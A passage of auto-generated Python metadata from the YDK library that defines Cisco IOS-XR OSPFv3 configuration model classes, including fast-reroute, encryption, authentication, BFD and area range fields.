'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.ProcessScope' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.ProcessScope',
False,
[
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'process-scope',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AutoCost' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AutoCost',
False,
[
_MetaInfoClassMember('disable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Specify 'true' to assign cost based on
interface type
''',
'disable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('reference-bandwidth', ATTRIBUTE, 'int' , None, None,
[('1', '4294967')], [],
''' Specify reference bandwidth for cost
computations in terms of Mbits per second
''',
'reference_bandwidth',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'auto-cost',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf',
False,
[
_MetaInfoClassMember('area-addresses', REFERENCE_CLASS, 'AreaAddresses' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses',
[], [],
''' Area configuration
''',
'area_addresses',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('auto-cost', REFERENCE_CLASS, 'AutoCost' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AutoCost',
[], [],
''' Calculate interface cost according to bandwidth
''',
'auto_cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared dead
(in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-information', REFERENCE_CLASS, 'DefaultInformation' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DefaultInformation',
[], [],
''' Control distribution of default information
''',
'default_information',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-metric', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Set metric of redistributed routes
''',
'default_metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distance', REFERENCE_CLASS, 'Distance' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Distance',
[], [],
''' Define an administrative distance
''',
'distance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list-out', REFERENCE_CLASS, 'DistributeListOut' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.DistributeListOut',
[], [],
''' Filter prefixes from RIB
''',
'distribute_list_out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.FastReroute',
[], [],
''' Fast-reroute instance scoped parameters
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('graceful-restart', REFERENCE_CLASS, 'GracefulRestart' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.GracefulRestart',
[], [],
''' Graceful restart configuration
''',
'graceful_restart',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ignore', REFERENCE_CLASS, 'Ignore' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Ignore',
[], [],
''' Do not complain about a specified event
''',
'ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('log-adjacency-changes', REFERENCE_ENUM_CLASS, 'Ospfv3LogAdjEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3LogAdjEnum',
[], [],
''' Log changes in adjacency state
''',
'log_adjacency_changes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('maximum', REFERENCE_CLASS, 'Maximum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Maximum',
[], [],
''' Set OSPFv3 limits
''',
'maximum',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('process-scope', REFERENCE_CLASS, 'ProcessScope' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.ProcessScope',
[], [],
''' Process scope configuration
''',
'process_scope',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('redistributes', REFERENCE_CLASS, 'Redistributes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Redistributes',
[], [],
''' Redistribute information from another routing
protocol
''',
'redistributes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('router-id', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Specify the router ID for this OSPFv3 process in
IPv4 address format
''',
'router_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('snmp', REFERENCE_CLASS, 'Snmp' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Snmp',
[], [],
''' SNMP configuration
''',
'snmp',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spf-prefix-priority-disable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' SPF prefix prioritization disabled
''',
'spf_prefix_priority_disable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spf-prefix-priority-policy', ATTRIBUTE, 'str' , None, None,
[], [],
''' Route policy for SPF prefix prioritization
''',
'spf_prefix_priority_policy',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('stub-router', REFERENCE_CLASS, 'StubRouter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.StubRouter',
[], [],
''' Stub router configuration
''',
'stub_router',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('summary-prefixes', REFERENCE_CLASS, 'SummaryPrefixes' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.SummaryPrefixes',
[], [],
''' Summarize redistributed routes matching
prefix/length
''',
'summary_prefixes',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('timers', REFERENCE_CLASS, 'Timers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.Timers',
[], [],
''' Adjust routing timers
''',
'timers',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'default-vrf',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Capability' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Capability',
False,
[
_MetaInfoClassMember('vrf-lite', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable VRF Lite
''',
'vrf_lite',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'capability',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.SecondaryDomainIds.SecondaryDomainId' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.SecondaryDomainIds.SecondaryDomainId',
False,
[
_MetaInfoClassMember('domain-id-name', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' Secondary domain ID value
''',
'domain_id_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('domain-id-type', REFERENCE_ENUM_CLASS, 'Ospfv3DomainIdEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3DomainIdEnum',
[], [],
''' Secondary domain ID type
''',
'domain_id_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'secondary-domain-id',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.SecondaryDomainIds' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.SecondaryDomainIds',
False,
[
_MetaInfoClassMember('secondary-domain-id', REFERENCE_LIST, 'SecondaryDomainId' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.SecondaryDomainIds.SecondaryDomainId',
[], [],
''' OSPF Secondary domain ID
''',
'secondary_domain_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'secondary-domain-ids',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.PrimaryDomainId' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.PrimaryDomainId',
False,
[
_MetaInfoClassMember('domain-id-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Primary domain ID value
''',
'domain_id_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('domain-id-type', REFERENCE_ENUM_CLASS, 'Ospfv3DomainIdEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3DomainIdEnum',
[], [],
''' Primary domain ID type
''',
'domain_id_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'primary-domain-id',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.DomainId',
False,
[
_MetaInfoClassMember('primary-domain-id', REFERENCE_CLASS, 'PrimaryDomainId' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.PrimaryDomainId',
[], [],
''' OSPF Primary domain ID
''',
'primary_domain_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('secondary-domain-ids', REFERENCE_CLASS, 'SecondaryDomainIds' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.DomainId.SecondaryDomainIds',
[], [],
''' Secondary domain ID Table
''',
'secondary_domain_ids',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'domain-id',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Ranges.Range' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Ranges.Range',
False,
[
_MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' IPv6 prefix format
''',
'prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-length', ATTRIBUTE, 'int' , None, None,
[('0', '128')], [],
''' IPV6 prefix length
''',
'prefix_length',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '16777214')], [],
''' Specified metric for this range
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('not-advertise', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Do not advertise address range
''',
'not_advertise',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'range',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Ranges' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Ranges',
False,
[
